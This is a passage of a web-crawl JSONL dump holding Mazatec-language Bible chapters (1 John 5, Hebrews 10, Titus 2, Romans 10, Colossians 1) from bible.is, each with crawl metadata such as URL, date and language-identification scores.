síko̱‑ne. 19Jyeé 'ya‑ná nga i̱xti‑la̱ Nainá 'mì‑ná; ta̱nga jñà xi̱ta̱ xi mìkiì mokjeiín‑la̱ i̱t'aà ts'e̱ Cristo xi tjín nga tíjtsa i̱sò'nde, jè xi̱ta̱ nei̱í tíhotíxoma‑la̱. 20Ti̱koa̱á 'ya‑ná nga koií xá j'iì‑ne jè Ki'ndí‑la̱ Nainá i̱ i̱t'aà nangui nga jè ndaà kisìkichi̱ya‑ná mé‑ne nga ma yaxkoaán xi nguì jè sobà Nainá. Ko̱ ya̱á titsa̱jnakoa̱á jè xi nguì jè sobà Nainá koií kjoa̱‑la̱ nga ya̱ titsa̱jnakoa̱á Jesucristo xi Ki'ndí‑la̱ ma, xi ti̱jè sobà‑ne Nainá ko̱ xi ma‑la̱ tsjá‑ná kjoa̱binachon xi mìkiì fehet'aà ni̱ta̱ kjé‑ne. 21Jñò xi ndí i̱xti‑na̱ xan‑nò, kì jñà onguítji̱ngui‑là jñà nainá xi beèxkón xi̱ta̱ xi mìtsà kixi̱ kjoa̱ nga Nainá.\n1 Juan 5","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/MAASJV\/1John\/5","date":"2013-12-10T15:48:41Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386164021936\/warc\/CC-MAIN-20131204133341-00064-ip-10-33-133-15.ec2.internal.warc.gz","language":"maa","language_score":1.000009656,"language_script":"Latn","minhash_cluster_size":22,"top_langs":"{\"maa_Latn_score\": 1.0000096559524536}","num_words":625,"character_repetition_ratio":0.095,"word_repetition_ratio":0.0,"special_characters_ratio":0.237,"stopwords_ratio":0.386,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Jè kjo̱tíxoma‑la̱ Nainá xi kitjoé‑la̱ Moisés, mìtsà nguì jñà kjo̱ndaà xi i̱skan j'iì; ta 'nguién‑la̱ né xi tsakó. K'oa̱á ma‑ne nga jngoó k'a mìkiì ko̱ma nguì tsjeè si̱ìkítsa̱jna xi̱ta̱ xi xki̱ nó síchrañat'aà‑la̱ Nainá nga ti̱jñà ti̱jñà kjo̱tjò tsjá‑ne. 2Jè kjo̱tíxoma, tsà jngoò k'a kisìtsjeèya jé‑la̱ xi̱ta̱, mì‑la ti̱ kiì si̱ìkájno‑ne tsà jé tjín‑la̱; ti̱koa̱á mì‑la ti̱ kiì jní‑la̱ cho̱ tsjá kjo̱tjò‑ne. 3Ta̱nga jè jní‑la̱ cho̱, xki̱ nó xki̱ nó síkítsjeèn‑ya jé‑la̱ xi̱ta̱. 4Nga jè jní‑la̱ nchra̱ja̱ ko̱ jní‑la̱ tíndsó mìkiì ma‑la̱ faáxìn jñà jé‑la̱ xi̱ta̱. 5Cristo, k'e̱ nga j'iì i̱ i̱sò'nde kitsò‑la̱ Nainá: Majìn‑lè jní‑la̱ cho̱ xi biyaà, ko̱ kjo̱tjò xi tsját'aà‑lè xi̱ta̱, ta̱nga jè yijo‑na̱ kinìkíjnandei. 6Mìkiì sasén‑lè cho̱ xi kitì, ko̱ ni̱ jñà kjo̱tjò xi tsjá‑lè xi̱ta̱ xi kjoa̱ ts'e̱ jé‑la̱. 7K'e̱é kichjà, kixan‑lè: \"Koni s'ín tíchja̱ xo̱jo̱n‑lè xi i̱t'aà ts'a̱n, i̱í tìjna̱a nga sìkitasoàn koni s'ín mejèn‑lè, ji̱ xi Nainá 'mì‑lè.\" 8Cristo, ítjòn kitsò: \"Majìn‑lè ko̱ mìkiì sasén‑lè jní‑la̱ cho̱ xi biyaà ko̱ kjo̱tjò xi tsjá‑lè xi̱ta̱, cho̱ xi kitì ko̱ kjo̱tjò xi tsjá xi kjoa̱ ts'e̱ jé‑la̱\", na̱s'ín k'oa̱s'ín tíchja̱ kjo̱tíxoma nga tjínè‑la̱ nga koa̱tjín xi tsjá xi̱ta̱. 9I̱kjoàn kitsò ìsa̱: \"I̱í tìjna̱a nga sìkitasoàn koni s'ín mejèn‑lè.\" K'e̱ nga o̱s'ín kiìchja̱, tsòyaá‑ne nga jè Cristo jaàxìn jè kjoa̱ jchínga mé‑ne nga kisìkíjna ngajo‑ne xi kjoa̱ xi̱tse̱. 10K'oa̱á s'ín komà nga kisìtsjeèya ini̱ma̱‑ná Nainá i̱t'aà ts'e̱ Na̱'èn‑ná Jesucristo k'e̱ nga ko̱s'ín kisìkitasòn koni s'ín mejèn‑la̱ Nainá nga ta jngoò k'a kitsjaà kjo̱tjò yijo‑la̱ ni̱ta̱ kjé‑ne k'e̱ nga k'en. 11Ngats'iì no̱'miì, na̱chrjein nchijòn síkitasòn xá‑la̱ nga kjìn k'a tsját'aà‑la̱ Nainá xi ti̱jñà ti̱jñà‑ne kjo̱tjò xi mìkiì ma‑la̱ faáxìn jé‑la̱ xi̱ta̱. 12Ta̱nga Jesucristo ta jngoò k'a kitsjaàt'aà kjo̱tjò yijo‑la̱ kjoa̱ ts'e̱ jé ni̱ta̱ kjé‑ne, i̱kjoàn tsibìjnat'aà chrja kixi̱‑la̱ Nainá. 13Ya̱á tíkoña skanda k'e̱ nga ki̱jchò na̱chrjein nga jñà xi̱ta̱ kondra̱‑la̱ si̱ìchija nga jè Nainá si̱ìkítsa̱jnangui ndso̱ko̱. 14Ta jngoò k'aá kitsjaàt'aà kjo̱tjò yijo‑la̱ mé‑ne nga nguì ndaà kjòkixi̱ya‑ne xi̱ta̱ ni̱ta̱ kjé‑ne, jñà xi̱ta̱ xi tímatsjeè. 15Jè Ini̱ma̱ Tsjeè‑la̱ Nainá ndaà síkixi̱ya‑ná kjoa̱ koi; nga sa̱ ítjòn tsò‑né: 16Jè kjoa̱ jè xi kìndaàjiìn‑koa̱a jñà xi̱ta̱ k'e̱ nga jye ko̱ma i̱skan, tsò Na̱'èn‑ná: Jñà kjo̱tíxoma‑na̱ sìkíjnajñaà ini̱ma̱‑la̱, ko̱ ya̱á skia̱a i̱jiìn kjo̱hítsjeèn‑la̱. 17I̱kjoàn tsò‑ìsa: 'A̱n, mì ti̱ kiì siìkítsjeèn‑na̱ jé xi tjín‑la̱ ko̱ ngats'iì kjoa̱ ch'o xi s'ín. 18K'e̱ nga jye jcha̱t'aà‑ná jé‑ná, mì ti̱ mé kjo̱tjò ko̱chjeén‑ne xi kjoa̱ ts'e̱ jé. 19Jñò ndí 'ndsè, k'oa̱á ma‑ne na̱chrjein i̱'ndei̱, tjí'nde‑ná nga ki̱tjás'e̱én jè I̱'nde‑la̱ Nainá xi 'Ñó Tsjeè, koií kjoa̱‑la̱ jè jní xi tsibíxteèn Jesús. 20Nga jè kiskíx'a̱ jngoò‑ná ndi̱yá xi̱tse̱ xi fìko̱‑ná ñánda tjín kjoa̱binachon, nga ko̱ma ko̱tokjá jè nikje cortina xi tjo̱hóya jngoò osen I̱'nde Tsjeè‑la̱ Nainá. Jè nikje, k'oa̱á ngaya‑la̱ koni yijo‑la̱ Jesús. 21Nga̱ tjín jngoò‑ná no̱'miì xi 'ñó jeya tíjna xi otíxoma ya̱ ni'ya‑la̱ Nainá. 22K'oa̱á ma‑ne nga mochjeén‑né nga ìsa̱ ndaà ki̱nchat'aà chrañà‑lá Nainá, nga nguì kixi̱ si̱kíjnaá ini̱ma̱‑ná ko̱ nguì tíjngoò takoán xi i̱t'aà ts'e̱, nga jè Cristo jye kisìtsjeè ini̱ma̱‑ná kjoa̱ ts'e̱ jé, ko̱ jè yijo‑ná, k'oa̱á ngaya‑la̱ koni tsà nguì nandá tsjeè tsaníjno‑ne. 23Kixi̱ ki̱tsa̱jnakoa̱á kjoa̱ xi titsa̱chiñá‑lá koni s'ín mokjeiín‑ná nga mì kijen kikjá‑lá takoán; nga Nainá, xi̱ta̱ kixi̱‑né, si̱ìkitasòn‑né koni s'ín jye kitsjaà 'én‑la̱. 24Ki̱nchátsji'nde‑lá nga 'én ndaà ki̱nókjoa̱‑lá xinguia̱á mé‑ne nga ìsa̱ ndaà s'e̱‑ná kjo̱tsjacha; ko̱ s'e̱én kjoa̱ xi ndaà tjín. 25Mìkiì si̱jchayaá jè na̱chrjein k'e̱ nga bixoñaá, koni s'ín i'nga xi̱ta̱ nga mì ti̱ kiì bixoñat'aà‑la̱ xíkjín. Ta saà mochjeén‑né nga k'oi̱‑lá nga'ñó xinguia̱á nga jngoò ìjngoò; ìsa̱á 'ñó ko̱s'ia̱án k'e̱ nga ya̱á nga jye tínchrobá machrañà na̱chrjein‑la̱ Nainá. 26Tsà k'oa̱s'ín tjín takoán nga ki̱nchátsji jé ìsa̱á k'e̱ nga jye kiyaxkoaán kjoa̱ kixi̱‑la̱ Nainá, mì ti̱ mé jní ko̱ma xíxteèn‑ne xi ma kjoa̱áxìn jé‑ná. 27Tà jè ko̱ko̱ ìsa̱‑ná kjo̱'in xi 'ñó xkón tjín ko̱ ni'ín jnga̱ xi síkjehesòn yije xi̱ta̱ xi kondra̱ fì‑la̱ Nainá. 28K'e̱ nga tsà jngoò xi̱ta̱ xi mìkiì síkitasòn kjo̱tíxoma‑la̱ Nainá xi kitjoé‑la̱ Moisés, tsà tjín jò, jàn xi̱ta̱ xi tsjá 'én nga kixi̱ kjoa̱, mìkiì mahi̱ma̱cha, nìk'en‑né. 29¿Kós'ín beè‑la̱ takòn jñò, a mìtsà ìsa̱ tse kjo̱'in ok'ìn‑la̱ jñà xi̱ta̱ xi binchanè jè Ki'ndí‑la̱ Nainá, ko̱ ochrjekàngui jè jní xi tsibíxteèn, ko̱ ti̱koa̱ chja̱jno‑la̱ Ini̱ma̱ Tsjeè‑la̱ Nainá xi tjín‑la̱ kjo̱ndaà? Jè jní xi ochrjekàngui, jè‑né xi Nainá kisìkjeén nga tsibíndaàjiìn‑ko̱ xi̱ta̱ jngoò kjoa̱ xi̱tse̱, ko̱ jè xi kisìtsjeè‑ne ini̱ma̱‑la̱ xi̱ta̱ koi. 30Jyeé tíjiìn‑ná nga k'oa̱á tsò Nainá: \"'A̱án oko̱‑na nga tsjaà‑la̱ kjo̱'in xi̱ta̱, 'a̱án tsjaà‑la̱ chjí‑la̱.\" Ìjngoò k'a tsò: \"Jè Na̱'èn‑ná ki̱ìndaàjiìn‑la̱ xi̱ta̱ na̱xa̱ndá‑la̱.\" 31¡Ta̱xki̱ 'ñó tse kjo̱xkón tjín k'e̱ nga ya̱ kàyaá tsja Nainá xi tíjnakon! 32Ta̱nga ti̱kítsjeèn kós'ín komàt'ioòn na̱chrjein xi jye tsato, k'e̱ nga sa̱ kina'yà ítjòn 'én kixi̱ xi kisìhiseèn‑nò, nga kichìkjoa̱‑nò nga tse kjo̱'in kinìkjioòn. 33Kis'eé na̱chrjein k'e̱ nga jñà xi̱ta̱ kiìchja̱jno‑nò ko̱ kiskaàn‑ko̱‑nò nga nguixko̱n xi̱ta̱ na̱xa̱ndá. Ti̱koa̱á kis'eé na̱chrjein nga jñò kitsjahijtako̱o jñà xi̱ta̱ xinguio̱o xi ti̱koa̱ kjo̱'in nchisíkjeiín. 34Jñò, kjòhi̱ma̱cha xi̱ta̱ xi kjo̱'in nchisíkjeiín nga nda̱yá títsa̱jna; ko̱ ti̱koa̱ mìkiì kòjti‑nò k'e̱ nga kjòchijé‑nò tsojmì‑nò, ta sa̱á kjòtsjaá‑nò nga jye tíjiìn‑nò nga ján ngajmiì tjín‑nò tsojmì xi ìsa̱ ndaà kjoàn xi mìkiì fehet'aà ni̱ta̱ mé na̱chrjein‑ne. 35Kì nìchija‑jèn koni s'ín kjit'aàtakòn Nainá nga ya̱á tjoé‑nò jè xi 'ñó tse chjí‑la̱. 36Mochjeén‑né nga s'e̱‑nò kjoa̱tsetakòn kjoa̱ ts'e̱ kjo̱'in, mé‑ne k'e̱ nga jye ki̱tasòn koni s'ín mejèn‑la̱ Nainá, tjoé‑nò xi tsjá‑nò koni s'ín jye kitsjaà 'én‑la̱ xi tso'ba kiìchja̱‑ne. 37K'oa̱á s'ín chja̱ xo̱jo̱n xi tjít'aà 'én‑la̱ Nainá nga tsò: Ta jngoò tjò chija‑la̱ nga kjoi̱í jè xi sa̱ nchrobá. Mìkiì ko̱chrjein‑la̱. 38Jè xi xi̱ta̱ kixi̱ kíjnakon‑né nga mokjeiín‑la̱, ta̱nga tsà ko̱sit'aà xìn, mìkiì sasén‑la̱ ini̱ma̱‑na̱. 39Ta̱nga jñá, mì k'oa̱á s'e̱én koni s'ín xi̱ta̱ xi íts'i̱n fì‑ne nga síchija ini̱ma̱‑la̱. Ta sa̱á ya̱ kjiaán ya̱ i̱'nde ñánda ki̱tjokàjiìn kjo̱'in ini̱ma̱‑ná koi kjoa̱‑la̱ nga mokjeiín‑ná.\nHebreos 10","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/MAASJV\/Heb\/10","date":"2013-12-06T06:40:16Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386163049635\/warc\/CC-MAIN-20131204131729-00083-ip-10-33-133-15.ec2.internal.warc.gz","language":"maa","language_score":1.0000085831,"language_script":"Latn","minhash_cluster_size":21,"top_langs":"{\"maa_Latn_score\": 1.0000085830688477}","num_words":925,"character_repetition_ratio":0.062,"word_repetition_ratio":0.0,"special_characters_ratio":0.229,"stopwords_ratio":0.309,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Ngaji̱, 'koa̱á 'sín ti̱nákji̱i koni 'sín bakèn‑la̱ 'én nda ra jién bakon‑yeé. 2Jñà xi̱ta̱ jchínga 'tse̱ na̱xi̱ndá‑la̱ Nainá, indakjoa̱ kata'sín; nda kata'yaxkón; nda kjo̱bítsjen kata'se‑la̱; nda katitsa̱jnako̱ kjoa̱ ra makjiín‑la̱ ko̱ kjo̱tsjacha‑la̱, tse inìma̱ kata'se‑la̱ mé‑ni chíkjoa̱‑la̱ kjo̱hi'in. 3Jñà íchjín jchínga, 'koa̱á 'sín katasíjchá ijo‑la̱ koni xi̱ta̱‑la̱ Nainá. Kì xi̱ta̱ chja̱jno‑la̱. Kì xán báhijtako̱. Kií katakón‑ya kjoa̱ ra nda tjín. 4'Koa̱á 'sín katakón‑ya‑la̱ íchjín ra 'sa̱ i̱xti, nga tsjake kata'sín 'xi̱n‑la̱, ti̱'koa̱ tsjake kata'sín i̱xti‑la̱. 5'Koa̱ 'sín nda katakón‑ya nga nda katasíjchá ijo‑la̱; tsje katitsa̱jnako̱ ijo‑la̱; nda katasíkinda̱ ni'ya‑la̱; nda xi̱ta̱ katama; kata'nchréhijon‑la̱ 'xi̱n‑la̱; mé‑ni nga mì yá ra ki̱chja̱jno‑ila̱ 'én‑la̱ Nainá. 6'Koa̱ ti̱'sín tinè‑la̱ jñà xi̱ta̱ 'xi̱n ra i̱xti‑isa, nga nda katasíjchá ijo‑la̱. 7Ni̱ta mé kjoa̱‑ni ra tjín, ji̱í ti̱jna ítjìn nga nda 'ti̱ìn. 'Kia̱ nga ko̱kón‑ya‑la̱ xi̱ta̱, kixi̱ ti̱kíjni kjo̱bítsjen‑li, 'én kixi̱ ti̱nákji̱i; 8nda tsò 'én ra ti̱nákji̱i ra mì yá bachrjengi mé‑ni 'kia̱ nga kji̱'nchré‑la̱ jñà ra xi̱ta̱ kondra̱, ko̱sabá‑la̱, ni̱mé sa̱kò‑la̱ ra 'cho ki̱tso̱‑ná. 9Ko̱'tìn‑la̱ jñà xi̱ta̱ ra chi̱'nda títsa̱jna'ñó, nda katasíhitjasòn ijye‑la̱ ni‑la̱, nda katasísin‑la̱ mé‑ni nga tsja 'se̱‑la̱, kì kjingí'a‑jìn; 10kì síchijé'ta‑la̱ ni‑la̱. Tà isa̱á nda kata'sín nga kata'ya‑la̱ nga xi̱ta̱ kixi̱‑ní. 'Koa̱á 'sín ske̱‑ni xi̱ta̱ ra kj'ií nga nda tjín kjo̱téxoma‑la̱ Nainá ra bachrjekàjin‑ná kjo̱hi'in. 11Nainá ijyeé tsakón kjo̱nda‑la̱ nga nga'tsì xi̱ta̱ ra tjín nga tjíjtsa i̱sà'nde maá ki̱tjokajin kjo̱hi'in. 12Jè kjo̱nda‑la̱ Nainá, 'koa̱á 'sín bakón‑ya‑ná nga mì ti̱ kì ko̱'sín 'sia̱n‑ná nga mì ma‑ná 'yaxkén Nainá, ti̱'koa̱ mì ti̱jñà si̱sin‑lá kjoa̱'cho ra síjé ijo‑ná ra tjín i̱sà'nde. 'Kia̱ nga ijye ki̱jmié kjoa̱ kìi̱, indakjoa̱ si̱kíjneé kjo̱bítsjen‑ná, xi̱ta̱ kixi̱í ka̱meé, ti̱'koa̱á nda jcha̱xkén Nainá ni̱chjin ra titsa̱jneé 'ndi̱ 'ndi̱. 13'Koa̱á 'sín 'sie̱én kjoa̱ kìi̱ nga i̱nchichiñá‑lá kjo̱nda ra 'ñó nda tjín nga jche̱é kjoa̱jeya‑la̱ Jesucristo 'kia̱ nga ki̱tjojen india‑ni. Jesucristo ra Nainá ra 'ñó 'nga tíjna ra bachrjekàjin‑ná kjo̱hi'in. 14Jè Jesucristo kitsjá ijo‑la̱ nga 'ken ngajo‑ná. Jè tsikíchjítjì‑ná mé‑ni nga kítjo̱kajin‑ná nga'tsì kjoa̱ 'tse̱ jé ra itsabá'ñó‑ná ti̱'koa̱ si̱ìtsje‑ná nga ngi xi̱ta̱ na̱xi̱ndá 'tse̱ ka̱meé. Ko̱ ngi tjíjngo takén nga si̱hitjasén kjoa̱ ra nda tjióo̱n. 15'Koa̱á 'sín ta̱kón‑yi, ti̱'koa̱ tì'tin xi̱ta̱. 'Ñó ti̱nákjoa̱ki̱i koni 'sín tjí'nde‑li nga ko̱te̱xomi. Kì yá ra bachrjengi‑li.\nTito 2","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/MAASAV\/Titus\/2","date":"2013-12-13T02:53:43Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386164834476\/warc\/CC-MAIN-20131204134714-00047-ip-10-33-133-15.ec2.internal.warc.gz","language":"maa","language_score":1.0000089407,"language_script":"Latn","minhash_cluster_size":21,"top_langs":"{\"maa_Latn_score\": 1.0000089406967163}","num_words":350,"character_repetition_ratio":0.063,"word_repetition_ratio":0.0,"special_characters_ratio":0.23,"stopwords_ratio":0.291,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Jiòn ndí 'ndsé, ngi 'én kixi̱ kjòn, kií ra 'ñó mejèn‑la̱ inìma̱‑na̱ ko̱ ra 'ñó síjé'ta‑la̱ Nainá a̱'ta 'tse̱ na̱xi̱ndá Israel nga katitsa̱jnandi̱í‑ni ra kjoa̱ 'tse̱ jé‑la̱. 2'A̱n be‑náa̱ nga 'ñó mejèn‑la̱ nga ske̱xkón Nainá jñà xi̱ta̱ Israel tanga mì tsa ko̱'sín bátsji Nainá koni 'sín tjín kjoa̱chji̱ne̱ ra ngi kjo̱hixi̱. 3Nga̱ mì kì 'faha'sen‑jin‑la̱ kó'sín nga ta̱ jngoó jè Nainá ra ma‑la̱ kixi̱ síkítsa̱hijyo xi̱ta̱; ta jñá mejèn‑la̱ nga kixi̱ si̱ìkítsa̱jna ijo‑la̱, majìn‑la̱ kjábé kjo̱hixi̱ 'tse̱ Nainá ra ma‑la̱ kixi̱ síkítsa̱jna‑ná. 4'Kia̱ nga 'ji jè Cristo, ya̱á kjòjngo jè kjo̱téxoma mé‑ni nga'tsì ra ko̱kjiín‑la̱ a̱'ta 'tse̱, sakó‑la̱ kjo̱hixi̱ nga nda kítsa̱jnako̱ Nainá. 5Jè Moisés, 'koa̱á 'sín tsikínda xa̱jo̱n a̱'ta 'tse̱ xi̱ta̱ ra mejèn‑la̱ nga kixi̱ kítsa̱jna a̱'ta 'tse̱ kjo̱téxoma nga tsò: \"Jè xi̱ta̱ ra nda si̱hitjasòn kjo̱téxoma, a̱'ta 'tse̱é kjo̱téxoma kíjnakon‑ni.\" 6Tanga a̱'ta 'tse̱ xi̱ta̱ ra kixi̱ kítsa̱jna 'kia̱ nga makjiín‑la̱ a̱'ta 'tse̱ Cristo, tsó‑ní: \"Kì tà chjàn tsò jè inìma̱‑li: ¿Yá ra ma ki̱ji̱ ján ngajmi?\" (Nga̱ jè 'én ra̱kìi̱, 'koa̱á 'sín tsò‑ni nga koni jè Cristo nga ki̱nájen'ta nangieé.) 7Ko̱, kì tà chjàn tsò jè inìma̱‑li: \"¿yá ra ma kjoa̱à'sen‑jin ñánda̱ i̱nchisíkjiín kjo̱hi'in jñà mi'ken?\" (Jè 'én ra̱kìi̱, 'koa̱á 'sín tsò‑ni koni jè Cristo i̱nchinikasítje̱en ya̱ a̱jin‑la̱ mi'ken.) 8Tanga, ¿kó'sín títsò Moisés? Tsó‑ní: \"Chraña'ta tíjna‑li jè 'én; ya̱á tíjna'a ya̱ ndsa̱'bì ko̱ ya̱á tíjnajin ya̱ inìma̱‑li.\" 'Koa̱á 'sín tjín jñà 'én ra nakjoáya‑ji̱n ra machjeén nga ko̱kjiín‑ná. 9Tsa ndsa̱'bì kjón 'kéna̱jmí‑ni nga jé Jesucristo ra Na̱'ín‑ná ma, ko̱ tsa ngi ko̱ó inìma̱‑li ko̱kjiín‑li nga jé Nainá isikjaáya‑la̱ a̱'ta 'tse̱ kjo̱biya, ki̱jnandi̱í‑ni ra a̱'ta 'tse̱ jé‑li. 10Nga̱ ko̱ó inìma̱‑ná makjiín‑ná mé‑ni nga xi̱ta̱ kixi̱ ka̱meé ya̱ ngixko̱n Nainá; ti̱'koa̱ ngi ko̱ó ndsa̱'bé 'bèna̱jmí‑ná nga jè Jesucristo ra Na̱'ín‑ná ma mé‑ni nga ka̱ma ki̱tsa̱jnandi̱í‑ná ra a̱'ta 'tse̱ kjoa̱ 'tse̱ jé‑ná. 11Nga̱ 'koa̱á 'sín tíchja̱ jè xa̱jo̱n ra tjí'ta 'én‑la̱ Nainá nga tsò: \"Nga'tsì ra ko̱kjiín‑la̱ a̱'ta 'tse̱ Cristo mì tsa kjo̱sabà sa̱kò‑la̱.\" 12Jñà ra xi̱ta̱ judío ko̱ ra mì tsa xi̱ta̱ judío, ta ngásòn kjòn a̱'ta 'tse̱ Nainá; nga̱ ti̱jé‑ni ra Na̱'ìn tsò‑la̱ nga'tsiòo̱; 'ñó nda síchikon'tin nga'tsì ra chja̱'ta‑la̱. 13Nga̱ 'koa̱á ti̱'sín tsò xa̱jo̱n‑la̱ Nainá: \"Nga'tsì ra ki̱chja̱'ta‑la̱ Na̱'ín‑ná, kítsa̱jnandi̱í‑ni ra kjoa̱ 'tse̱ jé‑la̱.\" 14Tanga mì kì ko̱ma ki̱chja̱'ta‑la̱ Cristo jè xi̱ta̱ ra kjè kì makjiín‑la̱. Ko̱ mì kì ko̱ma ko̱kjiín‑la̱ jè xi̱ta̱ ra kjè kì mé 'én 'nchré ra a̱'ta 'tse̱ Cristo. Ti̱'koa̱á mì kì ko̱ma kji̱'nchré tsa mì yá ra 'ke̱èna̱jmí‑la̱ a̱'ta 'tse̱ Cristo. 15Ko̱ mì kì ko̱ma 'ke̱èna̱jmí‑la̱ xi̱ta̱ tsa mì yá ra si̱ìkasén. 'Koa̱á 'sín tjí'ta xa̱jo̱n ra tjí'ta 'én‑la̱ Nainá nga tsò: \"Mé ta̱ nda‑ni 'kia̱ nga jè Nainá síkasén xi̱ta̱ ra 'béna̱jmíya 'én nda‑la̱ Cristo ra tjín‑la̱ kjoa̱'nchán.\" 16Tanga mì tsa nga'tsì‑ni xi̱ta̱ Israel ra isìkitjasòn jè 'én xi̱tse̱ ra nda tsò a̱'ta 'tse̱ Cristo koni 'sín kií'nchré. Nga̱ jè Isaías, xi̱ta̱ ra kiìchja̱ ngajo‑la̱ Nainá, 'koa̱á 'sín kitsò: \"Na̱'ìn, ¿yá ra kjokjiín‑la̱ jñà 'én ra inakjoáya‑ji̱n?\" 17'Koa̱á ma‑ni, 'kia̱ nga makjiín‑ná, tjínè‑la̱ nga ítjòn ki̱ná'yé jngo 'én; ko̱ jè 'én ra ki̱ná'yé, ya̱á kji̱nchrabà‑ni a̱'ta 'tse̱ 'én‑la̱ Cristo. 18Tanga kií xiaa̱n ra 'a̱n: ¿A mí kií'nchré jè 'én nda‑la̱ Cristo jñà xi̱ta̱ Israel? Kií'nchré‑ní. Nga̱ 'koa̱á tsò xa̱jo̱n‑la̱ Nainá: Nga tíjngoó i̱sà'nde, ijyeé tsabísòn jñà 'én‑la̱; ijyeé ijchó skanda ñánda̱ fehe'ta‑ni nangi. 19India‑la̱ ko̱tíxian‑na. Jñà xi̱ta̱ Israel, ¿a mí kisijin‑la̱? Kisijiín‑la̱. Nga̱ ítjòn kitsò Moisés: 'A̱án ko̱'sín 'siaa̱n nga katamachi̱ni̱cha jiòn jngo na̱xi̱ndá ra mì tsa 'ñó chjí‑la̱, ko̱ katajticha jiòn a̱'ta 'tse̱ jngo na̱xi̱ndá ra mì kì machi̱ya‑la̱. 20Ti̱'koa̱á Isaías, 'ñó tsi'ké‑la̱ ikon 'kia̱ nga tsi'kéna̱jmí jè 'én‑la̱ Nainá nga kitsò: Ijchòtji̱ngií‑na jñà ra mì tsa 'a̱n i̱nchibátsji‑na, ti̱'koa̱ tsakoón‑la̱ kjo̱nda‑na̱ jñà ra mì tsa 'a̱n iskonangiya‑na. 21Tanga ra a̱'ta 'tse̱ xi̱ta̱ Israel, 'koa̱á 'sín kitsò Nainá nga isìkìchja̱ Isaías: \"Ni̱chjin nchijón‑ní ítsikjen‑la̱ ndsa̱ nga kíchja'ndé‑la̱ jngo na̱xi̱ndá ra mì kì isìhitjasòn ko̱ ra kondra̱ kiì‑la̱ 'én‑na̱.\"\nRomanos 10","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/MAASAV\/Rom\/10","date":"2013-12-06T06:44:41Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386163049635\/warc\/CC-MAIN-20131204131729-00087-ip-10-33-133-15.ec2.internal.warc.gz","language":"maa","language_score":1.0000094175,"language_script":"Latn","minhash_cluster_size":21,"top_langs":"{\"maa_Latn_score\": 1.0000094175338745}","num_words":628,"character_repetition_ratio":0.078,"word_repetition_ratio":0.0,"special_characters_ratio":0.246,"stopwords_ratio":0.29,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1- 2Jñò xi xi̱ta̱ na̱xa̱ndá‑la̱ Cristo 'mì‑nò xi ján titsa̱jnaà na̱xa̱ndá Colosas nga kixi̱ onguít'aà‑là Cristo, 'a̱n xi Pablo 'mì‑na ko̱ 'ndsè Timoteo titsa̱nìhixot'aà‑nòje̱n nga 'a̱n tsibíxáya‑na Jesucristo nga k'oa̱s'ín kjòmejèn‑la̱ Nainá. Nainá xi Na̱'èn‑ná, ko̱ jè Jesucristo xi otíxoma‑ná kàtatsjá‑nò kjo̱ndaà ko̱ kjoa̱'nchán ya̱ i̱jiìn ini̱ma̱‑nò. 3Kjit'aà na̱chrjein k'e̱ nga nokjoàt'aà‑la̱je̱n Nainá xi i̱t'aà tsa̱jòn, 'biì‑la̱je̱n kjo̱ndaà Nainá xi Na̱'èn‑la̱ Jesucristo jè xi otíxoma‑ná. 4Koií kjoa̱‑la̱ ngaje̱n jyeé k'oa̱s'ín kina'yà‑je̱n nga ndaà mokjeiín‑nò i̱t'aà ts'e̱ Cristo Jesús. Ti̱koa̱ matsjacha ngats'iì xi̱ta̱‑la̱ Nainá. 5Koií k'oa̱s'ín 'nè‑nò nga titsa̱chiñá‑là nga tjoé‑nò kjo̱ndaà xi tíjnatjò‑la̱ Nainá ján ngajmiì; koni s'ín kjòchi̱ya‑nò k'e̱ nga kina'yà 'én ndaà‑la̱ Nainá xi kjoa̱ ts'e̱ Cristo xi nguì kjoa̱kixi̱. 6Ti̱jè‑ne jè 'én ndaà‑la̱ Nainá xi kjoa̱ ts'e̱ Cristo xi jye k'oa̱s'ín kina'yà, 'ñó tínokjoáya nga tíjtsa i̱sò'nde ko̱ 'ñó kjìn xi̱ta̱ nchifatjìya‑la̱ kjo̱hítsjeèn‑la̱ koni s'ín komàt'ioòn jñò k'e̱ nga jahatjìya‑la̱ kjo̱hítsjeèn‑nò nga jahas'en‑jiìn‑nò kjo̱ndaà‑la̱ Nainá xi nguì kjoa̱kixi̱. 7K'oa̱á s'ín tsakóya‑nò Epafras jè xi̱ta̱ xi matsjacha‑je̱n nga ta̱ña nìxákjoò‑je̱n i̱t'aà ts'e̱ Nainá; nga jè Epafras, jngoò chi̱'nda‑la̱ Cristo xi kixi̱ síxá xi i̱t'aà tsa̱jòn. 8Jyeé tsibéno̱jmí‑naje̱n nga jè Ini̱ma̱ Tsjeè‑la̱ Nainá síkítsjeèn‑nò nga ndaà matsjacha xi̱ta̱. 9K'e̱ nga kina'yà‑je̱n, mìkiì nìjchàajiìn‑je̱n nga bìtsi'batjì‑nòje̱n. K'oa̱á s'ín nìjét'aà‑la̱je̱n Nainá nga nguì ndaà kàtasíchi̱ya‑nò koni s'ín mejèn‑la̱ jè; jè Ini̱ma̱ Tsjeè‑la̱ kàtatsjá‑nò kjo̱hítsjeèn ko̱ kjoa̱chji̱ne̱. 10Ti̱koa̱á nìjét'aà‑la̱je̱n nga k'oa̱s'ín ti̱jchá yijo‑nò koni s'ín ok'ìn‑la̱ nga si̱ìjchá yijo‑la̱ xi xi̱ta̱‑la̱ Nainá, nga kjit'aà na̱chrjein k'oa̱s'ín t'e̱en koni s'ín mejèn‑la̱, nga k'oa̱s'ín t'e̱en ngats'iì kjoa̱ xi ndaà 